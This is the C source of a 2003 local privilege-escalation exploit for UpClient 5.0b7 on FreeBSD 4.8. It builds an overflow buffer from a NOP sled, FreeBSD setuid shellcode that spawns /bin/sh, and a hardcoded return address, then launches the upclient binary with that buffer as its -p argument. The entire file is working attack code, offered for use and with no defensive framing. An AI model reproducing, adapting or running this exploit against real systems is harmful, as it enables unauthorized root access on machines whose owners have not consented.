/*
*
* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
* written on/for FreeBSD
* tested against UpClient 5.0b7 on FreeBSD 4.8
* for FreeBSD 5.x the code has to be tweaked
* other versions may be vulnerable too
*
* 2003 by Gino Thomas, http://www.nux-acid.org
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFERSIZE 1022


unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv)
{
  char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode
static char shellcode[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

memset(buffer, 0x90 ,sizeof(buffer));
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
return 0;
}